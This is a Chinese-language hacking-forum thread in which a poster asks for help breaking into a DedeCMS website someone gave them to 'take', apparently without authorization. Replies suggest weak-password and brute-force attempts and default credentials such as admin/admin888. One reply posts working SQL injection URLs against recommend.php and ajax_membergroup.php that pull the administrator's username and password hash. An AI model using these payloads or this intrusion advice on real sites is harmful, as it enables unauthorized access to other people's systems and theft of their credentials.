请选择 进入手机版 | 继续访问电脑版
查看: 2404|回复: 11

求助dedecms

[复制链接]
  • TA的每日心情

    2017-7-21 11:40
  • 签到天数: 55 天

    [LV.5]常住居民I

    发表于 2016-8-15 19:46:45 | 显示全部楼层 |阅读模式
    饿,事情是这样的,今天看了一个站点,别人丢给了我,让我拿,我试了很多办法都不行,当然最后更新日志20140814 试了很多exp不好使,

    旁站没有 没思路,看人家轻松拿下,好失望啊,


        弱口令不行, burp不行, 唉
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-10-1 09:06
  • 签到天数: 380 天

    [LV.9]以坛为家II

    发表于 2016-8-15 23:16:52 | 显示全部楼层
    是不是远程写文件哦!1408的好像exp都不行!可能存在备份,或者错误文件泄露了密码!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-7-21 11:40
  • 签到天数: 55 天

    [LV.5]常住居民I

     楼主| 发表于 2016-8-16 10:59:00 | 显示全部楼层

    RE: 求助dedecms

    w2015 发表于 2016-8-15 23:16
    是不是远程写文件哦!1408的好像exp都不行!可能存在备份,或者错误文件泄露了密码! ...

    那我要从哪里开始呢
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-10-1 09:06
  • 签到天数: 380 天

    [LV.9]以坛为家II

    发表于 2016-8-16 13:15:10 | 显示全部楼层

    RE: 求助dedecms

    yer兮 发表于 2016-8-16 10:59
    那我要从哪里开始呢

    既然人家很容易就拿下了,或许你可以多试试弱口令。同时可以试试万能密码这个不错的选择。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-7-21 11:40
  • 签到天数: 55 天

    [LV.5]常住居民I

     楼主| 发表于 2016-8-16 13:36:17 | 显示全部楼层

    RE: 求助dedecms

    w2015 发表于 2016-8-16 13:15
    既然人家很容易就拿下了,或许你可以多试试弱口令。同时可以试试万能密码这个不错的选择。 ...

    我去dede有弱口令?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-10-1 09:06
  • 签到天数: 380 天

    [LV.9]以坛为家II

    发表于 2016-8-16 16:26:05 | 显示全部楼层

    RE: 求助dedecms

    yer兮 发表于 2016-8-16 13:36
    我去dede有弱口令?

    你认为呢?

    点评

    弱口令试了拿不下 用我字典burp下也不行  详情 回复 发表于 2016-8-17 16:42
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-7-21 11:40
  • 签到天数: 55 天

    [LV.5]常住居民I

     楼主| 发表于 2016-8-17 16:42:29 | 显示全部楼层

    RE: 求助dedecms


    弱口令试了拿不下 用我字典burp下也不行
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-10-1 06:59
  • 签到天数: 308 天

    [LV.8]以坛为家I

    发表于 2016-8-17 17:32:40 | 显示全部楼层
    这个版本,已公布的漏洞可以试试远程写入exp和会员中心的注入(前提是网站开启会员功能)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2020-1-18 15:18
  • 签到天数: 22 天

    [LV.4]偶尔看看III

    发表于 2016-8-18 17:59:56 | 显示全部楼层
    [SQL] 纯文本查看 复制代码
    “/data/admin/ver.txt”页面获取系统最后升级时间,
    
    
    /plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'  or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
    
    
    访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,存在页面代表有漏洞
    
    查看管理员帐号
    
    /member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20userid%20from%20`%23@__admin`%20where%201%20or%20id=@`'`
    
    查看管理员密码 
    /member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20pwd%20from%20`%23@__admin`%20where%201%20or%20id=@


    这几个是网上公开的,可以试试弱口令  admin admin888  之类的

    点评

    唉还是不行啊,  详情 回复 发表于 2016-8-19 16:34
    谢谢嘿嘿  详情 回复 发表于 2016-8-18 19:05
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-7-21 11:40
  • 签到天数: 55 天

    [LV.5]常住居民I

     楼主| 发表于 2016-8-18 19:05:40 | 显示全部楼层

    RE: 求助dedecms

    481326635 发表于 2016-8-18 17:59
    [mw_shl_code=sql,true]“/data/admin/ver.txt”页面获取系统最后升级时间,

    谢谢嘿嘿
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表